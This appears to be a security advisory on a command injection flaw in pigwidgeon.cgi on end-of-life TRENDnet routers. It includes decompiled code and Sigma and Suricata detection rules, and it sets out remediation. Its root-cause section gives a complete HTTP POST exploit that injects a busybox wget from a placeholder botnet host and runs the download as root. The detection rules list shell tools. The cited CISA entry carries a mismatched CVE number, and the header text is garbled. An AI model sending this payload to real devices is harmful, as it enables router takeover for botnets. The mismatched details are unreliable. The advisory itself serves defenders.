CVE-2026-108804: TRENDnet TEW-Series Routers Unauthenticated Remote Code Execution in pigwidgeon.cgi
Maximum-severity unauthenticated command injection in pigwidgeon.cgi exposes End-of-Life TRENDnet routers to immediate root takeover and active IoT botnet recruitment.
HERMES THREAT SCORE & PERIMETER GATEWAY RISK EVALUATION
Target:TRENDnet TEW-751DR / TEW-752DRU / TEW-733GR โ pigwidgeon.cgi Web Administration Service CVSS v3.1 rates this flaw at a maximum 10.0 (CRITICAL) due to network accessibility without authentication, zero complexity, and complete compromise of confidentiality, integrity, and availability with scope expansion (S:C). The Hermes Threat Score (HTS) confirms 96 (EXTREME). The vulnerability resides in pigwidgeon.cgi, an administrative CGI binary listening on both WAN and LAN interfaces. Because these devices have reached End-of-Life (EOL), TRENDnet will not issue a firmware patch. IoT botnets and threat actors actively exploit this vulnerability to turn perimeter routers into persistent residential proxies and lateral pivot nodes.
CVE-2026-108804: TRENDnet TEW-Series Routers Unauthenticated Remote Code Execution in pigwidgeon.cgiVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in TRENDnet TEW-Series Wireless Routers documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Architecture Matrix
Section titled โ1. Technical Context & Affected Architecture MatrixโTRENDnet TEW-series routers are embedded MIPS-based Linux networking gateways widely deployed across small-to-medium enterprises (SME), remote branch offices, and SOHO environments.
| Parameter | Technical Specification | Operational Details |
|---|---|---|
| CVE Identifier | CVE-2026-108804 | Official vulnerability reference |
| Affected Vendor | TRENDnet | Networking hardware manufacturer |
| Affected Models | TEW-751DR, TEW-752DRU, TEW-733GR | Dual-band wireless N routers |
| Vulnerable Binary | /www/cgi-bin/pigwidgeon.cgi | Embedded web management CGI application |
| Impacted Firmware | 1.03B01, 1.03B03 (and prior) | Legacy MIPS Linux firmware image |
| Patch Status | No Patch (Product End-of-Life) | Decommissioning and firewall isolation required |
| Exploitation Vector | Network WAN / LAN (Unauthenticated HTTP POST) | Remote root command execution |
| CVSS v3.1 Metrics | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) | Critical perimeter gateway compromise |
2. Root Cause Analysis & Flaw Decomposition
Section titled โ2. Root Cause Analysis & Flaw DecompositionโVulnerable Reverse-Engineered MIPS CGI Logic: Unsanitized fwrite to Shell Script
Section titled โVulnerable Reverse-Engineered MIPS CGI Logic: Unsanitized fwrite to Shell ScriptโThe pigwidgeon.cgi binary acts as an administrative bridge between the web user interface and the underlying system daemons. When an HTTP POST request is sent to pigwidgeon.cgi, the function handling service updates reads the service POST parameter and prepares a configuration update script in /var/run/apply_service.sh:
// DECOMPILED PSEUDO-C: pigwidgeon.cgi (TRENDnet TEW-751DR Firmware 1.03B03)void handle_service_request(void) { char *service_param = get_cgi_param("service"); char script_path[] = "/var/run/apply_service.sh"; FILE *fp;
if (service_param == NULL) { send_error_response(400, "Missing service parameter"); return; }
// FLAW: Opening script file for writing without validating user permissions or session token fp = fopen(script_path, "w"); if (fp != NULL) { // Writing shell script header fputs("#!/bin/sh\n", fp); fputs("# TRENDnet service updater\n", fp);
// FLAW: Writing unescaped, attacker-controlled parameter directly into shell script fputs("SERVICE_NAME=", fp); fwrite(service_param, 1, strlen(service_param), fp); fputs("\n/bin/service_control restart $SERVICE_NAME\n", fp);
fclose(fp);
// FLAW: Executing the crafted shell script as root (UID 0) chmod(script_path, 0755); system(script_path);
send_success_response("Service updated"); }}Flaw Mechanics
Section titled โFlaw Mechanicsโ- Authentication Bypass: The CGI dispatcher does not verify session cookies or credentials before reaching
handle_service_request(). - Command Injection via Newline / Metacharacters: The attacker supplies a payload containing newline characters (
%0a) or shell operators (;,|,&) in theservicePOST body:POST /cgi-bin/pigwidgeon.cgi HTTP/1.1Host: target-router.localContent-Type: application/x-www-form-urlencodedContent-Length: 72service=ntp%0a/bin/busybox+wget+http://c2.botnet.xyz/mips+-O+/tmp/m;chmod+755+/tmp/m;/tmp/m%0a - Execution as Root: When
/var/run/apply_service.shis executed bysystem(), the shell evaluates:The router downloads and runs the botnet payload with full UID 0 privileges.#!/bin/sh# TRENDnet service updaterSERVICE_NAME=ntp/bin/busybox wget http://c2.botnet.xyz/mips -O /tmp/m;chmod 755 /tmp/m;/tmp/m/bin/service_control restart $SERVICE_NAME
3. Attack Vectors & Real-World Exploitation Flow
Section titled โ3. Attack Vectors & Real-World Exploitation FlowโsequenceDiagram autonumber actor Botnet as Mirai / Adversary Botnet Scanner participant WAN as WAN / Public Router IP (Port 80/8080) participant CGI as pigwidgeon.cgi Handler participant Disk as /var/run/apply_service.sh participant Shell as BusyBox Root Shell (MIPS)
Botnet->>WAN: Scan for exposed TRENDnet web management interface Botnet->>CGI: POST /cgi-bin/pigwidgeon.cgi (service=ntp%0acurl...%0a) Note over CGI: Skips authentication check CGI->>Disk: fwrite(service_param) writes unescaped commands CGI->>Shell: system("/var/run/apply_service.sh") Shell-->>Shell: Fetches malware binary from C2 server Shell-->>Shell: Installs persistence, kills competing bot processes Shell-->>Botnet: Establishes C2 socket; joins DDoS botnet swarm4. Forensic Triage & Detection Engineering
Section titled โ4. Forensic Triage & Detection Engineeringโtitle: TRENDnet TEW-Series pigwidgeon.cgi RCE Exploitationid: b2c3d4e5-1234-5678-trendnet-cve2026108804status: stabledescription: Detects HTTP POST requests targeting pigwidgeon.cgi with shell command injection payloads characteristic of CVE-2026-108804.references: - https://nvd.nist.gov/vuln/detail/CVE-2026-108804author: Hermes Codex Cyber Intelligencedate: 2026-10-13logsource: category: webserver product: genericdetection: selection_path: cs-method: 'POST' cs-uri-stem|contains: - '/cgi-bin/pigwidgeon.cgi' - '/pigwidgeon.cgi' selection_payload: cs-uri-query|contains: - 'service=' - '%0a' - '%0A' - 'wget' - 'curl' - '/bin/sh' - 'busybox' condition: selection_path and selection_payloadfalsepositives: - Legitimate local administrative configuration changes (unlikely to contain shell metacharacters)level: criticaltags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.004 - cve.2026.108804alert http any any -> any any ( msg:"HERMES CODEX - TRENDnet TEW-Series pigwidgeon.cgi Command Injection (CVE-2026-108804)"; flow:to_server,established; content:"POST"; http_method; content:"/pigwidgeon.cgi"; http_uri; content:"service="; http_client_body; pcre:"/service=[^&]*(\x0a|;|\||`|\$)/i"; classtype:attempted-admin; sid:2026108804; rev:1; metadata:cve CVE-2026-108804, affected_product TRENDnet_TEW_Series;)#!/usr/bin/env bash# Hermes Codex: Network Scan & Forensic Verification for CVE-2026-108804TARGET_IP="$1"
if [ -z "$TARGET_IP" ]; then echo "Usage: $0 <router-ip>" exit 1fi
echo "[*] Probing $TARGET_IP for exposed pigwidgeon.cgi..."HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 "http://${TARGET_IP}/cgi-bin/pigwidgeon.cgi")
if [ "$HTTP_CODE" -eq 200 ] || [ "$HTTP_CODE" -eq 400 ] || [ "$HTTP_CODE" -eq 405 ]; then echo "[!] WARNING: Target $TARGET_IP responds to pigwidgeon.cgi (HTTP $HTTP_CODE)." echo "[!] Device is highly vulnerable to CVE-2026-108804 and requires immediate decommissioning."else echo "[+] pigwidgeon.cgi not reachable (HTTP $HTTP_CODE)."fi5. Remediation Strategy & Mitigation Controls
Section titled โ5. Remediation Strategy & Mitigation Controlsโ-
Immediate Decommissioning & Hardware Replacement (Mandatory): Because TRENDnet has marked TEW-751DR, TEW-752DRU, and TEW-733GR routers as End-of-Life without security updates, these devices must be disconnected from internet gateways and replaced with supported modern enterprise routers.
-
Perimeter Network Isolation: If hardware replacement cannot be performed immediately, completely disable remote WAN management access and restrict administrative interfaces strictly to dedicated, authenticated management VLANs.
-
Ingress Web Application Firewall (WAF) Filtering: Block all external and internal HTTP POST requests targeting
/cgi-bin/pigwidgeon.cgicontaining newline encodings (%0a,%0d) or shell metacharacters.